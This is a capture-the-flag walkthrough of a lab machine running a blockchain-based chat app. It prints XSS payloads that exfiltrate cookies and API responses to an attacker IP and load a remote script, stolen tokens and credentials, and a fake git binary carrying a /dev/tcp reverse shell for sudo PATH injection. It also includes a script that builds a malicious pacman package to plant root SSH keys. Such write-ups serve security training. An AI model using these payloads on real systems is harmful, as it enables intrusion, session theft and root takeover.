We begin by the usual nmap
scan.
nmap 10.129.243.42 -sV -p-
We get some open ports.
SSH
.HTTP
running Werkzeug/3.0.3
Python/3.12.3
we may have an SSTI
.We begin by interacting with HTTP
.
We can see a Decentralized Chat application
using blockchain
technology. Lets break this down.
A blockchain is a distributed ledger technology that records data in a secure, tamper-resistant way. It consists of blocks of data that are linked together in chronological order. Each block contains:
Decentralization refers to the absence of a central authority or middleman controlling data. In a decentralized system, decision-making and data storage are distributed across a network of nodes.
In the context of the chat application:
We can begin by registering
an account.
We are logged
in and redirected to chat
.
By clicking on contract source
on the bottom page, we get a page that is showing Json
data.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
// import "./Database.sol";
interface IDatabase {
function accountExist(
string calldata username
) external view returns (bool);
function setChatAddress(address _chat) external;
}
contract Chat {
struct Message {
string content;
string sender;
uint256 timestamp;
}
address public immutable owner;
IDatabase public immutable database;
mapping(string user => Message[] msg) internal userMessages;
uint256 internal totalMessagesCount;
event MessageSent(
uint indexed id,
uint indexed timestamp,
string sender,
string content
);
modifier onlyOwner() {
if (msg.sender != owner) {
revert("Only owner can call this function");
}
_;
}
modifier onlyExistingUser(string calldata username) {
if (!database.accountExist(username)) {
revert("User does not exist");
}
_;
}
constructor(address _database) {
owner = msg.sender;
database = IDatabase(_database);
database.setChatAddress(address(this));
}
receive() external payable {}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
function deleteUserMessages(string calldata user) public {
if (msg.sender != address(database)) {
revert("Only database can call this function");
}
delete userMessages[user];
}
function sendMessage(
string calldata sender,
string calldata content
) public onlyOwner onlyExistingUser(sender) {
userMessages[sender].push(Message(content, sender, block.timestamp));
totalMessagesCount++;
emit MessageSent(totalMessagesCount, block.timestamp, sender, content);
}
function getUserMessage(
string calldata user,
uint256 index
)
public
view
onlyOwner
onlyExistingUser(user)
returns (string memory, string memory, uint256)
{
return (
userMessages[user][index].content,
userMessages[user][index].sender,
userMessages[user][index].timestamp
);
}
function getUserMessagesRange(
string calldata user,
uint256 start,
uint256 end
) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {
require(start < end, "Invalid range");
require(end <= userMessages[user].length, "End index out of bounds");
Message[] memory result = new Message[](end - start);
for (uint256 i = start; i < end; i++) {
result[i - start] = userMessages[user][i];
}
return result;
}
function getRecentUserMessages(
string calldata user,
uint256 count
) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {
if (count > userMessages[user].length) {
count = userMessages[user].length;
}
Message[] memory result = new Message[](count);
for (uint256 i = 0; i < count; i++) {
result[i] = userMessages[user][
userMessages[user].length - count + i
];
}
return result;
}
function getUserMessages(
string calldata user
) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {
return userMessages[user];
}
function getUserMessagesCount(
string calldata user
) public view onlyOwner onlyExistingUser(user) returns (uint256) {
return userMessages[user].length;
}
function getTotalMessagesCount() public view onlyOwner returns (uint256) {
return totalMessagesCount;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.23;
interface IChat {
function deleteUserMessages(string calldata user) external;
}
contract Database {
struct User {
string password;
string role;
bool exists;
}
address immutable owner;
IChat chat;
mapping(string username => User) users;
event AccountRegistered(string username);
event AccountDeleted(string username);
event PasswordUpdated(string username);
event RoleUpdated(string username);
modifier onlyOwner() {
if (msg.sender != owner) {
revert("Only owner can call this function");
}
_;
}
modifier onlyExistingUser(string memory username) {
if (!users[username].exists) {
revert("User does not exist");
}
_;
}
constructor(string memory secondaryAdminUsername, string memory password) {
users["admin"] = User(password, "admin", true);
owner = msg.sender;
registerAccount(secondaryAdminUsername, password);
}
function accountExist(string calldata username) public view returns (bool) {
return users[username].exists;
}
function getAccount(
string calldata username
)
public
view
onlyOwner
onlyExistingUser(username)
returns (string memory, string memory, string memory)
{
return (username, users[username].password, users[username].role);
}
function setChatAddress(address _chat) public {
if (address(chat) != address(0)) {
revert("Chat address already set");
}
chat = IChat(_chat);
}
function registerAccount(
string memory username,
string memory password
) public onlyOwner {
if (keccak256(bytes(users[username].password)) != keccak256(bytes(""))) {
revert("Username already exists");
}
users[username] = User(password, "user", true);
emit AccountRegistered(username);
}
function deleteAccount(string calldata username) public onlyOwner {
if (!users[username].exists) {
revert("User does not exist");
}
delete users[username];
chat.deleteUserMessages(username);
emit AccountDeleted(username);
}
function updatePassword(
string calldata username,
string calldata oldPassword,
string calldata newPassword
) public onlyOwner onlyExistingUser(username) {
if (keccak256(bytes(users[username].password)) != keccak256(bytes(oldPassword))) {
revert("Invalid password");
}
users[username].password = newPassword;
emit PasswordUpdated(username);
}
function updateRole(
string calldata username,
string calldata role
) public onlyOwner onlyExistingUser(username) {
if (!users[username].exists) {
revert("User does not exist");
}
users[username].role = role;
emit RoleUpdated(username);
}
}
We can see a report user
button.
The moderators
will take action.
We can try to use some XSS payloads
to test for vulnerabilities.
<img src=x onerror="location='http://10.10.16.3/'">
We get an output
.
We can try to fetch the documnet.cookie
now.
<img src=x onerror="location='http://10.10.16.3/?c='+document.cookie">
But this did not work. The cookie may have the HTTPOnly
flag set.
We can try to use another approach.
<img src=x onerror="fetch('/api/info').then(r=>r.text()).then(t=>fetch('http://10.10.16.3/log?data='+encodeURIComponent(t),{mode:'no-cors'}))">
But still had no luck so tried to make it on 2 steps as maybe the server is blocking our request. First created a malicious JS
file.
fetch('/api/info')
.then(response => response.text()) // Get the response body as text
.then(text => {
// Send the base64-encoded response to your server
fetch('http://10.10.16.3/log?' + btoa(text), { mode: 'no-cors' });
});
I made the server request our file and execute it using this payload
.
<img src=1 onerror="var s=document.createElement('script'); s.src='http://10.10.16.3/xss.js'; document.body.appendChild(s);">
And we get a hit
.
We decode the base64
string to get our token.
base64 -d <<< "eyJyb2xlIjoiYWRtaW4iLCJ0b2tlbiI6ImV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS5leUptY21WemFDSTZabUZzYzJVc0ltbGhkQ0k2TVRjek1qRTBNakEyTXl3aWFuUnBJam9pWm1ZNE5tUTRaRGt0WXpobU9DMDBOekk0TFRnM1pHRXROemxoTmpJMlltVXdNREV6SWl3aWRIbHdaU0k2SW1GalkyVnpjeUlzSW5OMVlpSTZJbUZrYldsdUlpd2libUptSWpveE56TXlNVFF5TURZekxDSmxlSEFpT2pFM016STNORFk0TmpOOS4yRzdRV1lGUzg4TXRDNjNCR2Z0aDF3MDRMRTFvUFRQZGFpSllNa0RlRmdzIiwidXNlcm5hbWUiOiJhZG1pbiJ9Cg=="
We can note the token
.
{"role":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjE0MjA2MywianRpIjoiZmY4NmQ4ZDktYzhmOC00NzI4LTg3ZGEtNzlhNjI2YmUwMDEzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMTQyMDYzLCJleHAiOjE3MzI3NDY4NjN9.2G7QWYFS88MtC63BGfth1w04LE1oPTPdaiJYMkDeFgs","username":"admin"}
By adding the token to our cookie
, we can see an /admin
endpoint that we can access now. We can use curl
for this too.
curl -H 'cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjEzNjc0OSwianRpIjoiYjk2ZWQ1NDEtNzcwMC00Nzc5LWE3YWEtZTYwNmEyNDU5Y2E2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMTM2NzQ5LCJleHAiOjE3MzI3NDE1NDl9.vsH_bjHd6BwTSEstvIq5HoUTzGlA1Kq0rbdjkXOZmNE' http://10.10.11.43/admin
We get this output
.
We can read the whole code
of the page.
<!DOCTYPE html>
<html>
<head>
<title>
Admin - DBLC
</title>
<link rel="stylesheet" href="/assets/nav-bar.css">
</head>
<body>
<!-- <main> -->
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="/assets/admin.css">
</head>
<body>
<nav id="menu">
<a href="/">
<h1 id="sitename">Decentralized Chat</h1>
</a>
<ul>
<li class="active"><a href="/">Home</a></li>
<li id="login-status"></li>
<li><a href="/chat">Chat</a></li>
<li><a href="/profile">Profile</a></li>
<li><a href="/admin">Admin</a></li>
</ul>
</nav>
<div class="admin-panel clearfix">
<div class="slidebar">
<div class="logo">
<a href=""></a>
</div>
<ul>
<li><a href="#dashboard" id="targeted">dashboard</a></li>
<li><a href="#posts">posts</a></li>
<li><a href="#users">users</a></li>
</ul>
</div>
<div class="main">
<div class="mainContent clearfix">
<div id="dashboard">
<h2 class="header"><span class="icon"></span>Dashboard</h2>
<div class="monitor">
<h4>Right Now</h4>
<div class="clearfix">
<ul class="content">
<li>content</li>
<li class="posts">
<span class="count" id="chat-posts-count">
0
</span>
</span><a href="">posts</a>
</li>
<li class="pages"><span class="count">
2
</span><a href="">Users</a></li>
<li class="pages"><span class="count" id="donations">
0
</span><a href="">Donations to Chat contract</a></li>
</ul>
</div>
</div>
</div>
<div id="posts">
<h2 class="header">posts</h2>
<ul>
</ul>
</div>
<div id="users">
<h2 class="header">users</h2>
<select id="user-select">
<option value="keira">keira</option>
<option value="xtromera">xtromera</option>
</select>
</div>
</div>
</div>
</div>
<script src="/assets/web3.min.js">
</script>
<script>
(async () => {
const jwtSecret = await (await fetch('/api/json-rpc')).json();
const web3 = new Web3(window.origin + "/api/json-rpc");
const postsCountElement = document.getElementById('chat-posts-count');
let chatAddress = await (await fetch("/api/chat_address")).text();
let postsCount = 0;
chatAddress = (chatAddress.replace(/[\n"]/g, ""));
// })();
// (async () => {
// let jwtSecret = await (await fetch('/api/json-rpc')).json();
let balance = await fetch(window.origin + "/api/json-rpc", {
method: 'POST',
headers: {
'Content-Type': 'application/json',
"token": jwtSecret['Authorization'],
},
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_getBalance",
params: [chatAddress, "latest"],
id: 1
})
});
let bal = (await balance.json()).result // || '0';
console.log(bal)
document.getElementById('donations').innerText = "$" + web3.utils.fromWei(bal,
'ether')
})();
async function DeleteUser() {
let username = document.getElementById('user-select').value;
console.log(username)
console.log('deleting user')
let res = await fetch('/api/delete_user', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
username: username
})
})
}
</script>
</body>
<!-- </main> -->
<script>
// check if logged in
fetch('/api/info', {
method: 'GET',
headers: {
'Content-Type': 'application/json'
}
}).then(response => {
if (response.status != 200) {
document.getElementById('login-status').innerHTML = "<a href='/login'>Login</a>"
}
else {
document.getElementById('login-status').innerHTML = "<a href='/logout'>Logout</a>"
}
});
</script>
</body>
</html>
We can focus on a specific part of the code where it uses the /json-rpc endpoint.
const jwtSecret = await (await fetch('/api/json-rpc')).json();
fetch('/api/json-rpc')
:
GET
request to the /api/json-rpc
endpoint./api/json-rpc
is used for JSON-RPC communication, but here it’s being used to obtain an authorization token.const web3 = new Web3(window.origin + "/api/json-rpc");
window.origin + "/api/json-rpc"
:
new Web3(...)
:
Purpose:
let chatAddress = await (await fetch("/api/chat_address")).text();
fetch("/api/chat_address")
:
GET
request to the /api/chat_address
endpoint.let balance = await fetch(window.origin + "/api/json-rpc", {
method: 'POST',
headers: {
'Content-Type': 'application/json',
"token": jwtSecret['Authorization'],
},
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_getBalance",
params: [chatAddress, "latest"],
id: 1
})
});
Breaking Down the Fetch Call:
window.origin + "/api/json-rpc"
method: 'POST'
:
headers
:
'Content-Type': 'application/json'
:
"token": jwtSecret['Authorization']
:
token
with the authorization value obtained earlier."token"
, which might be specific to the server’s authentication mechanism.JSON.stringify({ ... })
:
jsonrpc: "2.0"
:
method: "eth_getBalance"
:
params: [chatAddress, "latest"]
:
chatAddress
: The Ethereum address to query."latest"
: Indicates that the balance should be retrieved from the latest block.id: 1
:
await fetch(...)
:
let balance
:
Response
object returned by the fetch call.To mimic the whole process, first we need to fetch the authorization token
.
curl -H 'cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjEzNjc0OSwianRpIjoiYjk2ZWQ1NDEtNzcwMC00Nzc5LWE3YWEtZTYwNmEyNDU5Y2E2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMTM2NzQ5LCJleHAiOjE3MzI3NDE1NDl9.vsH_bjHd6BwTSEstvIq5HoUTzGlA1Kq0rbdjkXOZmNE' http://10.10.11.43/api/json-rpc
We get the Authorization
.
{"Authorization":"02909c230e28ddaae824db92170bad3fdf950b684d597b9293ff02636953e998"}
Then we fetch the Chat Address
.
curl -H 'cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjEzNjc0OSwianRpIjoiYjk2ZWQ1NDEtNzcwMC00Nzc5LWE3YWEtZTYwNmEyNDU5Y2E2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMTM2NzQ5LCJleHAiOjE3MzI3NDE1NDl9.vsH_bjHd6BwTSEstvIq5HoUTzGlA1Kq0rbdjkXOZmNE' http://10.10.11.43/api/chat_address
We note the chat address
.
0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8
We can now interact with the Ethereum Account Balance
endpoint.
curl -X POST "http://10.10.11.43/api/json-rpc" \ -H "Content-Type: application/json" \ -H "token: 02909c230e28ddaae824db92170bad3fdf950b684d597b9293ff02636953e998" \ -d '{
"jsonrpc": "2.0",
"method": "eth_getBalance",
"params": ["0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8", "latest"],
"id": 1
}' -H 'cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjEzNjc0OSwianRpIjoiYjk2ZWQ1NDEtNzcwMC00Nzc5LWE3YWEtZTYwNmEyNDU5Y2E2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMTM2NzQ5LCJleHAiOjE3MzI3NDE1NDl9.vsH_bjHd6BwTSEstvIq5HoUTzGlA1Kq0rbdjkXOZmNE'
But we get nothing useful.
From the official documentation of the Ethereum page, We can see some common functions and their use cases.
This documentation lists all the standard methods, parameters, and expected responses. Some common methods include:
Blockchain Data Methods:
eth_blockNumber
: Get the latest block number.eth_getBlockByNumber
: Retrieve a block by number.eth_getTransactionByHash
: Get transaction details by hash.eth_getTransactionReceipt
: Get the receipt of a transaction.eth_getLogs
: Retrieve logs (events) from smart contracts.Transaction Methods:
eth_sendTransaction
: Send a transaction.eth_sendRawTransaction
: Send a signed transaction.eth_estimateGas
: Estimate gas usage for a transaction.Account Methods:
eth_accounts
: List accounts managed by the node.eth_sign
: Sign data with an account’s private key.Utility Methods:
web3_clientVersion
: Get the client version.net_version
: Get the network ID.We can check the eth_getLogs
function.
curl -X POST http://10.10.11.43/api/json-rpc -H "Content-Type: application/json" -H "token: 02909c230e28ddaae824db92170bad3fdf950b684d597b9293ff02636953e998" --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjEzNjc0OSwianRpIjoiYjk2ZWQ1NDEtNzcwMC00Nzc5LWE3YWEtZTYwNmEyNDU5Y2E2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMTM2NzQ5LCJleHAiOjE3MzI3NDE1NDl9.vsH_bjHd6BwTSEstvIq5HoUTzGlA1Kq0rbdjkXOZmNE" -d '{"jsonrpc":"2.0","method":"eth_getLogs","params":[{"fromBlock":"0x1","toBlock":"latest","address":null}],"id":1}'
We get a lot of logs
.
The provided data contains three log entries from Ethereum blockchain events. Each log represents an event emitted by a smart contract at address 0x75e41404c8c1de0c2ec801f06fbf5ace8662240f
.
General Information:
0x75e41404c8c1de0c2ec801f06fbf5ace8662240f
0x1
(Decimal: 1)0x97d9d3c38899312a75f8b07c80548364ea0c9282084cbfc4bf500a1f83c9be8a
0x95125517a48dcf4503a067c29f176e646ae0b7d54d1e59c5a7146baf6fa93281
0x0
(Decimal: 0)0x0
(Decimal: 0)false
Timestamp:
0x673c76c9
(Decimal: 1732090313)Topics:
0xda4cf7a387add8659e1865a2e25624bbace24dd4bc02918e55f150b0e460ef98
Data:
0x
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000005
6b65697261000000000000000000000000000000000000000000000000000000
Decoded Data:
"keira"
General Information:
0x75e41404c8c1de0c2ec801f06fbf5ace8662240f
0xd
(Decimal: 13)0x4d54d758b20edc099f1cf511a9e4958697bfb3d2ff3ea20abf40974d2627922d
0xefd802ed353374b572faa38fafa15a8fc54505eeb6924d64d38f1eaaac31a841
0x0
(Decimal: 0)0x0
(Decimal: 0)false
Timestamp:
0x673e3c2b
(Decimal: 1732194603)Topics:
0xda4cf7a387add8659e1865a2e25624bbace24dd4bc02918e55f150b0e460ef98
Data:
0x
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000008
7874726f6d657261000000000000000000000000000000000000000000000000
Decoded Data:
"xtromera"
We can try to interact with each transaction using the eth_getTransactionByHash
function.
curl -X POST http://10.10.11.43/api/json-rpc -H "Content-Type: application/json" -H "token: 02909c230e28ddaae824db92170bad3fdf950b684d597b9293ff02636953e998" --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjEzNjc0OSwianRpIjoiYjk2ZWQ1NDEtNzcwMC00Nzc5LWE3YWEtZTYwNmEyNDU5Y2E2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMTM2NzQ5LCJleHAiOjE3MzI3NDE1NDl9.vsH_bjHd6BwTSEstvIq5HoUTzGlA1Kq0rbdjkXOZmNE" -d '{"jsonrpc": "2.0", "method": "eth_getTransactionByHash", "params": ["0x95125517a48dcf4503a067c29f176e646ae0b7d54d1e59c5a7146baf6fa93281"], "id": 1}'
We get a huge amount of data.
We can decode the input field as this is Hex
.
We get something at the end. We can see potential credentials.
keira:SomedayBitCoinWillCollapse
.
Trying to ssh
using the provided credentials.
Checking sudo
privileges.
Checking the command.
sudo -u paul /home/paul/.foundry/bin/forge
We can see an interesting command completions
.
We can try to abuse the bash completions command
with Environmental Variables
and Path injection
as when we run the bash completions
, it invoked the git
command.
To exploit this we need to create a malicious git
executable file.
touch /tmp/git;echo '#!/bin/bash' >> /tmp/git; echo "bash -c 'sh -i >& /dev/tcp/10.10.16.3/4444 0>&1'" >> /tmp/git;
Make it executable
and run the vulnerable command.
chmod 777 git ;PATH=/tmp:$PATH sudo -u paul /home/paul/.foundry/bin/forge completions bash
Check the listener
.
We are in as paul
. Checking sudo
permissions.
Checking this blog it says that we can escalate to root
by copying the authorized keys
to /root/.ssh
and ssh
to root
. We can directly use this script.
#!/bin/bash
# Create a working directory
mkdir priv && cd priv
# Generate PKGBUILD file
cat <<EOF >PKGBUILD
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="Privilege Escalation Package"
arch=('any')
url="http://example.com"
license=('GPL')
depends=()
makedepends=()
source=('authorized_keys')
sha256sums=('SKIP')
package() {
install -Dm755 "\$srcdir/authorized_keys" "\$pkgdir/root/.ssh/authorized_keys"
}
EOF
# Generate SSH keys
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
mv id_rsa.pub authorized_keys
# Build the malicious package
makepkg
# Output message
echo "Malicious package created! Run the following command to deploy:"
echo "sudo pacman -U $(pwd)/privesc-1.0-1-any.pkg.tar.zst"
echo "Don't forget to secure your private key: id_rsa"
Running the script
.
We can see the script
run successfully.
Now run the following command to install the malicious pacman
package.
sudo pacman -U /tmp/priv/privesc-1.0-1-any.pkg.tar.zst
Do not forget to change the permissions on id_rsa
before SSH
.
The machine was pawned
successfully.